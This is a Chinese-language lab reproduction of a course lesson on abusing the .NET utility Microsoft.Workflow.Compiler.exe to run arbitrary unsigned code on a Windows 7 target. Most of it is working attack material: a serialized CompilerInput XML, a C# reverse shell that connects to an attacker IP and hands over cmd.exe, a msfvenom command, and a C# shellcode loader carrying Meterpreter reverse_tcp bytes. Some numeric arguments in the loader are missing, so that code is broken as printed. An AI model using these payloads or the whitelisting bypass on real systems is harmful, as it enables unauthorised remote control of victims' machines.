复现亮神课程


0x01 Compiler前言

说明:Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。

Microsoft.Workflow.Comiler.exe需要两个命令行参数,第一个参数必须是一个XML文件(由一个序列化CompilerInput对象构成)的路径,第二个参数则是写入序列化编译结果的文件路径。

Windows 7 默认位置:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

0x02 执行流程

攻击流程如下:

1.将制作的XOML文件存储到目标磁盘中,XOML文件中应包含攻击者提供的C#或VB.Net代码以供编译、加载和调用。攻击逻辑需在类构造函数中实现,该类派生自System.Workflow.ComponetModel.Activity类。

2.将包含序列化CompilerInput对象的XML文件存储到目标磁盘中。

3.提供XML路径,执行Microsoft.Workflow.Comiler.exe。

下面给出的是Microsoft.Workflow.Comiler.exe的调用样例:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml

0X03 复现攻击


攻击机 kali

靶机 win7


A)windows/x64/shell/reverse_tcp

MSF监听:

Test.xml:

<?xml version="1.0" encoding="utf-8"?>

<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">

<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">

<d2p1:string>1.cs</d2p1:string>

</files>

<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">

<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>

<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>

<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>

<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>

<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>

<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>

<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>

<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>

<d2p1:checkTypes>false</d2p1:checkTypes>

<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>

<d2p1:compilerOptions i:nil="true" />

<d2p1:generateCCU>false</d2p1:generateCCU>

<d2p1:languageToUse>CSharp</d2p1:languageToUse>

<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />

<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />

<d2p1:mtInfo i:nil="true"/>

<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />

</parameters>

</CompilerInput>

X.tcp(我们要执行的c# shellcode):

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;

    public class Program : SequentialWorkflowActivity
    {
        static StreamWriter streamWriter;

        public Program()
        {
            using(TcpClient client = new TcpClient("192.168.190.141", 5555))
            {
                using(Stream stream = client.GetStream())
                {
                    using(StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "cmd.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while(true)
                        {
                            strInput.Append(rdr.ReadLine());
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

    }

靶机执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml res.xml  

也可以用nc:

B) 结合meterpreter

注:payload.cs需要用到System.Workflow.Activities

生成木马

msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.190.141 lport=4444 -f csharp

Msf监听:

1.cs:

using System;
using System.Workflow.Activities;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);

[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr DStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVpSg);

[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);

[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);

public yrDaTlg() {

byte[] QWKpWKhcs =

{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0xbe,0x8d,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};

IntPtr AmnGaO = VirtualAlloc(, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);

Marshal.Copy(QWKpWKhcs, , (IntPtr)(AmnGaO), QWKpWKhcs.Length);

IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = ; IntPtr pAeCTfwBS = IntPtr.Zero;

uint BnhanUiUJaetgy;

bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);

oXmoNUYvivZlXj = CreateThread(, , AmnGaO, pAeCTfwBS, , ref XVXTOi);

WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}

}

靶机执行:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Com

piler.exe test.xml 1.txt

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